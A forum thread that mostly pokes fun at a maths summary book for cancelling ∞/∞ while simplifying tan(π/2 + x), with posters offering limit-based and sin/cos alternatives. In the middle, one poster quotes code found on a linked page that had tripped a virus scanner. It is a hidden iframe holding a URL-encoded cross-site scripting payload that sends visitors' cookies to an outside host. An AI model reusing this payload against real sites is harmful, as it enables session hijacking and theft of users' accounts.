Maths question that's infinitely funny...
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Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:
Using a compound angle formula, simplify tan(π/2 + x)
Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):
Interesting, to say the least. Talking ∞/∞ out as a common factor? :P
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@Daniel15 said:
Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:
Using a compound angle formula, simplify tan(π/2 + x)
Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):
Interesting, to say the least. Talking ∞/∞ out as a common factor? :P
If as the first step you express it as lim [A->pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit. No?
So who set the question? Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?
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Ew, Pseudo-mathematics. That's awful.
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@Hatshepsut said:
If as the first step you express it as lim [A->pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit. No?
Yeah, using a limit would work fine.So who set the question? Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?
It was an example from a summary book for the Specialist Maths course here. We're allowed to bring one bound reference into the exam, so some people bring this book in (I will be... I started writing up my own notes but this book had everything I wrote and more).
There's definitely better ways to do it, for example express it as sin(x + pi/2) / cos(x + pi/2) and then use the other compound angle formulae on that).
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@shadowman said:
Reminded me of some of these
FYI, clicking on that link caused the corporate virus scan to raise a warning about JS exploits.
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Yep I second this statement
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found this in the code:
<div style="display: none;">
<iframe src="http://www.stumbleupon.com/searchers.php?q=%3C%2Fscript%3E%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fval2007.3-hosting.net/vvacation.php%3Fc%3D%27%2B%28document.cookie%29%3B%3C%2Fscript%3E" >
</iframe>
</div>
<iframe src="http://www.stumbleupon.com/searchers.php?q=%3C%2Fscript%3E%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fval2007.3-hosting.net/vvacation.php%3Fc%3D%27%2B%28document.cookie%29%3B%3C%2Fscript%3E" mce_src="http://www.stumbleupon.com/searchers.php?q=%3C%2Fscript%3E%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fval2007.3-hosting.net/vvacation.php%3Fc%3D%27%2B%28document.cookie%29%3B%3C%2Fscript%3E"></iframe>
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@PerdidoPunk said:
@shadowman said:
Reminded me of some of these
FYI, clicking on that link caused the corporate virus scan to raise a warning about JS exploits.
:-(
Sorry about that. I didn't get any warning at my office. A coworker sent me the link a few days ago, I was just passing it on.
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It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?
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And for those of us who haven't done trig identities in a decade or two, what's the correct answer?
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@Carnildo said:
And for those of us who haven't done trig identities in a decade or two, what's the correct answer?
Suprisingly enough, the answer obtained in the end (-cot x) is the correct answer.
It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?
Yeah, it is.
tan(x) = sin(x) / cos(x), and cos(pi / 2) is 0. Also, thinking about it logically, having tan(pi/2) would involve a triangle with two right angles, which doesn't really make sense. :P
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@Daniel15 said:
@Carnildo said:
And for those of us who haven't done trig identities in a decade or two, what's the correct answer?
Suprisingly enough, the answer obtained in the end (-cot x) is the correct answer.
It looks to me as if they solved the whole dividing by zero problem. Isn't tan(pi/2) undefined?
Yeah, it is.
tan(x) = sin(x) / cos(x), and cos(pi / 2) is 0. Also, thinking about it logically, having tan(pi/2) would involve a triangle with two right angles, which doesn't really make sense. :P
Makes sense to me, but of course I'm working in projective geometry...
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@Hatshepsut said:
@Daniel15 said:
Well, I was revising for a Maths exam tomorrow, and noticed this example question in a summary I was going through:
Using a compound angle formula, simplify tan(π/2 + x)
Here's what their working out looked like (reproduced by me in OpenOffice equation editor; I don't have a working scanner at the moment):
Interesting, to say the least. Talking ∞/∞ out as a common factor? :P
If as the first step you express it as lim [A->pi/2] tan(A+x), you should be able to apply your approach, because you're taking out (tanA/tanA) instead of ∞/∞, and [i]then[/i] you apply the limit. No?
So who set the question? Do you think they'd accept the ∞/∞ approach, or have they deliberately added that ∞ twist to catch people out?
Ugh, I can hardly read it it's so bad. I always hated math problems where you had to un-simplify the problem before you could solve it, like changing the pi/2 here to a variable so you can use a limit to solve it. If my TA's in school were any indication, this TA would take marks off your limit method because the prof/answer key has a much simpler answer.